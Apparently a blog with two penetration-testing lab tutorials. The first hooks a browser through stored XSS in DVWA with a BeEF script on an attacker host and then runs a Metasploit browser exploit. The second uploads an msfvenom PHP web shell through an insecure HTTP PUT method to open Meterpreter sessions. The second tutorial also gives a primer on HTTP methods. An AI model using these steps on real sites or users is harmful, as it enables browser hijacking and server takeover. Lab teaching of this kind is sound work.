Cross Site Scripting (XSS) to Meterpreter

Hello Guys, Today we are going to learn about how we can exploit Cross Site Scripting (XSS) vulnerability and gain access over client’s system via meterpreter. Sounds weird?? Let’s have a look of it. Before proceeding, we need to learn following topics and tools.

What is Cross Site Scripting (XSS)?

Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious JavaScript in another user’s browser.

The attacker does not directly target his victim. Instead, he exploits a vulnerability in a website that the victim visits, in order to get the website to deliver the malicious JavaScript for him. To the victim’s browser, the malicious JavaScript appears to be a legitimate part of the website, and the website has thus acted as an unintentional accomplice to the attacker.

Types of XSS

While the goal of an XSS attack is always to execute malicious JavaScript in the victim’s browser, there are few fundamentally different ways of achieving that goal. XSS attacks are often divided into three types:

Stored XSS: The most damaging type of XSS is Stored (Persistent) XSS. Stored XSS attacks involves an attacker injecting a script (referred to as the payload) that is permanently stored (persisted) on the target application (for instance within a database). The classic example of stored XSS is a malicious script inserted by an attacker in a comment field on a blog or in a forum post.

When a victim navigates to the affected web page in a browser, the XSS payload will be served as part of the web page (just like a legitimate comment would). This means that victims will inadvertently end-up executing the malicious script once the page is viewed in a browser.

We will be exploiting Stored or persistent XSS for this demo but other two types can be exploited as well.

Reflected XSS: In Reflected XSS, the attacker’s payload script has to be part of the request which is sent to the web server and reflected back in such a way that the HTTP response includes the payload from the HTTP request. Using Phishing emails and other social engineering techniques, the attacker lures the victim to inadvertently make a request to the server which contains the XSS payload and ends-up executing the script that gets reflected and executed inside the browser. Since Reflected XSS isn’t a persistent attack, the attacker needs to deliver the payload to each victim – social networks are often conveniently used for the dissemination of Reflected XSS attacks.

DOM-based XSS: DOM-based XSS is an advanced type of XSS attack which is made possible when the web application’s client side scripts write user provided data to the Document Object Model (DOM). The data is subsequently read from the DOM by the web application and outputted to the browser. If the data is incorrectly handled, an attacker can inject a payload, which will be stored as part of the DOM and executed when the data is read back from the DOM.

Lab Setup:

  • Victim IP: 192.168.0.103
  • Victim OS: Windows XP
  • Victim Browser: Internet Explorer 6.0
  • Vulnerable Web App: Damn Vulnerable Web Application (DVWA)
  • Attacker IP: 192.168.0.104
  • Attacker OS: BackBox 4.7 [BeEf and Metasploit installed]

Tools:

BeEF: Beef is the short form of Browser Exploitation Framework. This is the core of our exploit. BeEF can be used to “safely” exploit Web and browser-based vulnerabilities like cross-site scripting (XSS) using client-side attack vectors. If a user clicks on a link that BeEf put there, it will hook the user’s browser into the BeEF server. Then by using different module within BeEF we can perform various malicious activities like phising, stealing password, detecting browser components, make victim’s browser to download any malicious file etc.

Metasploit: Don’t know really how to describe metasploit, many security researchers, pen testers, many blogs, sites are there to make you understand what is metasploit and what are the functionality of metasploit. So I don’t want to describe metasploit within this small paragraph. In one words, without metasploit its very tough job as penetration tester. It is basically a exploitation framework but we can use metasploit for exploit development, Anti Virus evasion, Malicious file generator and many more. You should know metasploit very well if you want to be in cyber security field.

Damn Vulnerable Web Application (DVWA): This Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment. In our demo we use “Stored XSS” segment.

Scenario:

  • Attacker found a site that is having stored cross site scripting vulnerability.
  • Attacker configures BeEF in his system and generate a link that will hook victims browser whenever the link will be clicked.
  • Attacker injects the malicious javascript with that hookable link from BeEF into the site.
  • When victim opens the vulnerable page, the injected link will be triggered and victim’s browser will be hooked by BeEF.
  • Attacker chooses any browser dependent vulnerability within metasploit where a link will be generated and should be clicked by the user for successful exploitation.
  • Via BeEF module, Attacker will create an invisible iFrame with metasploit generated link and execute that within victim’s hooked browser wintout victim’s interaction.
  • if all things go right, we will have access of victim’s system.

NOTE: if you found it complicated then don’t worry. Follow the following steps.

Steps

  • DVWA has been installed within 192.168.0.103 machine. From attacker machine it can be accessed via browser. If you installed DVWA for the first time, Default user and password is admin:password.
dvwa
Fig: DVWA Login Page
  • BeEF has been already installed within BackBox . It resides within the following menu list.
beef_menu
Fig: BackBox Menu
  • While clicking BeEF, it has been started with command line.
beef_startup_cmdline
Fig: BeEF in Command line

beef_login_screen

  • There is two options in BeEF. One is Online browser and other one is Offline Browser. Online Browser indicates those hooked browsers which are online and Offline indicates those hooked one which are not active. As our XSS payload has not been built yet so there is no browser listed over here.

beef_home

  • Now its time to inject malicious javascript with BeEF payload (hook.js). For this, attacker needs to login to dvwa and select “Stored XSS” section. In this segment there is a length issue. Message length should be 50 chars long. So attacker needs to bypass this by changing the value of character length using “Inspect Element”. The xss payload : http://192.168.0.104:3000/hook.js/script
xss_injected
Fig: Malicious Javascript Injection with BeEF Payload
  • Now we are done as an attacker. While victim open that page in internet explorer of his/her machine, victim’s hooked browser will be seen in BeEF “Online Browser”. Note that DVWA security should be “Low” at victim’s end.
browser_hooked
Fig: Victim’s Browser Hooked
  • Whenever attacker found his target in “Online Browser”, his/her next move will be trigger any exploit which is browser dependent. Browser dependent exploits are those exploits where metasploit gives an URL and attackers have to convince the victim to open the URL in victim’s browser. Instead of convincing victim to open the Malicious URL, BeEF gives option to attacker to execute the URL as iframe. There are lots of exploits available within metasploit regarding browser. Among them Attacker chooses : exploit/windows/browser/ms10_002_aurora
exploit_started
Fig: Exploit started and link is given
iframe_executed
Fig: Use Metasploit given link as iframe URL
  • There are lots of modules and submodules in BeEF. Among them “Create Invisible iframe” is the one. But my recommendation is to try different modules as well for testing. Each module has different functionalities. Try to explore them.
  • After successful execution of iframe with our metasploit generated payload, our metasploit terminal shows that attacker has penetrated into the victim’s system.
pwned_sysinfo
Fig: Meterpreter Shell

References:

Advertisements

Insecure PUT method to Meterpreter

Hello guys. Today I will describe another way to compromise a remote system. We are going to exploit vulnerable HTTP methods PUT to gain access over the web server. Before starting we need to understand following topics.

HTTP Methods:

HTTP defines a set of request methods to indicate the desired action to be performed for a given resource. Although they can also be nouns, these request methods are sometimes referred to as HTTP verbs. Each of them implements a different semantic, but some common features are shared by a group of them: e.g. a request method can be safe, idempotent, or cacheable.

GET

The GET method requests a representation of the specified resource. Requests using GET should only retrieve data. The following example makes use of GET method to fetch hello.htm

GET /hello.htm HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.anywebsitecanbehere.com
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

The server response against the above GET request will be as follows:

HTTP/1.1 200 OK
Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT
ETag: "34aa387-d-1568eb00"
Vary: Authorization,Accept
Accept-Ranges: bytes
Content-Length: 88
Content-Type: text/html
Connection: Closed
<html>
<body>
<h1>Hello, World!</h1>
</body>
</html>

HEAD

The HEAD method asks for a response identical to that of a GET request, but without the response body. The following example makes use of HEAD method to fetch header information about hello.htm:

HEAD /hello.htm HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.anywebsitecanbehere.com
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

The server response against the above GET request will be as follows:

HTTP/1.1 200 OK
Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT
ETag: "34aa387-d-1568eb00"
Vary: Authorization,Accept
Accept-Ranges: bytes
Content-Length: 88
Content-Type: text/html
Connection: Closed

You can notice that here server the does not send any data after header.

POST

The POST method is used to submit an entity to the specified resource, often causing a change in state or side effects on the server. The following example makes use of POST method to send a form data to the server, which will be processed by a process.cgi and finally a response will be returned:

POST /cgi-bin/process.cgi HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.anywebsitecanbehere.com
Content-Type: text/xml; charset=utf-8
Content-Length: 88
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
<?xml version="1.0" encoding="utf-8"?>
<string xmlns="http://clearforest.com/">string</string>

The server side script process.cgi processes the passed data and sends the following response:

HTTP/1.1 200 OK
Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT
ETag: "34aa387-d-1568eb00"
Vary: Authorization,Accept
Accept-Ranges: bytes
Content-Length: 88
Content-Type: text/html
Connection: Closed
<html>
<body>
<h1>Request Processed Successfully</h1>
</body>
</html>

PUT

The PUT method replaces all current representations of the target resource with the request payload. The following example requests the server to save the given entity-boy in hello.htm at the root of the server:

PUT /hello.htm HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.anywebsitecanbehere.com
Accept-Language: en-us
Connection: Keep-Alive
Content-type: text/html
Content-Length: 182
<html>
<body>
<h1>Hello, World!</h1>
</body>
</html>

The server will store the given entity-body in hello.htm file and will send the following response back to the client:

HTTP/1.1 201 Created
Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Content-type: text/html
Content-length: 30
Connection: Closed
<html>
<body>
<h1>The file was created.</h1>
</body>
</html>

DELETE

The DELETE method deletes the specified resource. The following example requests the server to delete the given file hello.htm at the root of the server:

DELETE /hello.htm HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.anywebsitecanbehere.com
Accept-Language: en-us
Connection: Keep-Alive

The server will delete the mentioned file hello.htm and will send the following response back to the client:

HTTP/1.1 200 OK
Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Content-type: text/html
Content-length: 30
Connection: Closed
<html>
<body>
<h1>URL deleted.</h1>
</body>
</html>

CONNECT

The CONNECT method establishes a tunnel to the server identified by the target resource. The following example requests a connection with a web server running on the host anywebsitecanbehere.com:

CONNECT www.anywebsitecanbehere.com HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

The connection is established with the server and the following response is sent back to the client:

HTTP/1.1 200 Connection established
Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)

OPTIONS

The OPTIONS method is used to describe the communication options for the target resource. The client can specify a URL for the OPTIONS method, or an asterisk (*) to refer to the entire server. The following example requests a list of methods supported by a web server:

OPTIONS * HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

The server will send an information based on the current configuration of the server, for example:

HTTP/1.1 200 OK
Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Type: httpd/unix-directory

TRACE

The TRACE method performs a message loop-back test along the path to the target resource. The following example shows the usage of TRACE method:

TRACE / HTTP/1.1
Host: www.anywebsitecanbehere.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

The server will send the following message in response to the above request:

HTTP/1.1 200 OK
Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Connection: close
Content-Type: message/http
Content-Length: 39

TRACE / HTTP/1.1
Host: www.anywebsitecanbehere.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

 

 

PUT method in Depth – Let’s focus on PUT methods. The PUT method requests that the enclosed entity be stored under the supplied Request-URI. If the Request-URI refers to an already existing resource, the enclosed entity SHOULD be considered as a modified version of the one residing on the origin server. If the Request-URI does not point to an existing resource, and that URI is capable of being defined as a new resource by the requesting user agent, the origin server can create the resource with that URI. If a new resource is created, the origin server MUST inform the user agent via the 201 (Created) response. If an existing resource is modified, either the 200 (OK) or 204 (No Content) response codes SHOULD be sent to indicate successful completion of the request. If the resource could not be created or modified with the Request-URI, an appropriate error response SHOULD be given that reflects the nature of the problem. The recipient of the entity MUST NOT ignore any Content-* (e.g. Content-Range) headers that it does not understand or implement and MUST return a 501 (Not Implemented) response in such cases.

Let’s exploit it.

Tools Required:

  1. Metasploit
  2. Msfvenom
  3. Burp Suite Free Edition: Burp Suite is an integrated platform for attacking web applications. It contains a variety of tools with numerous interfaces between them designed to facilitate and speed up the process of attacking an application. All of the tools share the same framework for handling and displaying HTTP messages, persistence, authentication, proxies, logging, alerting and extensibility.
  4. Nikto : Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6400 potentially dangerous files/CGIs, checks for outdated versions of over 1200 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software.
  5. Metasploitable Linux:The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities.

Lab Setup:

Steps:

dav
FIG 1 – Directory Listing is here
  • Its time to test the web server with Nikto.
nikto_PUT
FIG 2 – Nikto found insecure PUT method
  • Now we need to setup Burp as a web proxy so that we can view/intercept traffic between webserver and browser. After setting up we can view/intercept web traffic.
GET
FIG 3 – Request and Response captured by Burp while accessing /dav
  • At the beginning we need to check whether PUT method can upload the file or not. That’s why we will upload a test file to the server end. For that, We have to change GET method to PUT as well as add a text file after “/dav” . We can write the content of the file at the end of the request itself. After execution the web server will reply with 201 (CREATED) as response that means the file has been written successfully at the server end.
TEST_PUT
FIG 4 – test.txt file created by PUT method
test_browser
FIG 5 – Accessing test.txt file via browser
test_content
FIG 6 – test.txt file content
  • As we see, We can upload file(s) by using PUT method so we need a web shell to upload. Now MSFVENOM comes into the picture. By using MSFVENOM we can create a webshell.
shell_file_create
FIG 7 – Web Shell Creation using msfvenom
  • php contains php codes that are written by msfvenom.
shell_file_content
FIG 8 – Web Shell Content
  • Now we are going to write this shell.php to the web server. This step is very similar to step where we uploaded the test.txt file.
shell_uploaded
FIG 9 – Web Shell uploaded via PUT
  • As our shell.php has been uploaded successfully, we need to create the multi handler listener in metasploit so that whenever shell.php will be clicked, it will pass the control to the metasploit and meterpreter session will be openned.
handler_on
FIG 10 – Setting up multi handler for listening incoming connection
  • We are all set now. We just clicked the shell.php
shell.php_clicked
FIG 11 – shell.php just clicked and the page is loading
  • In the backed, a meterpreter session has been opened.
pwned
FIG 12 – Got the Meterpreter. System Pwned!!!

 

References: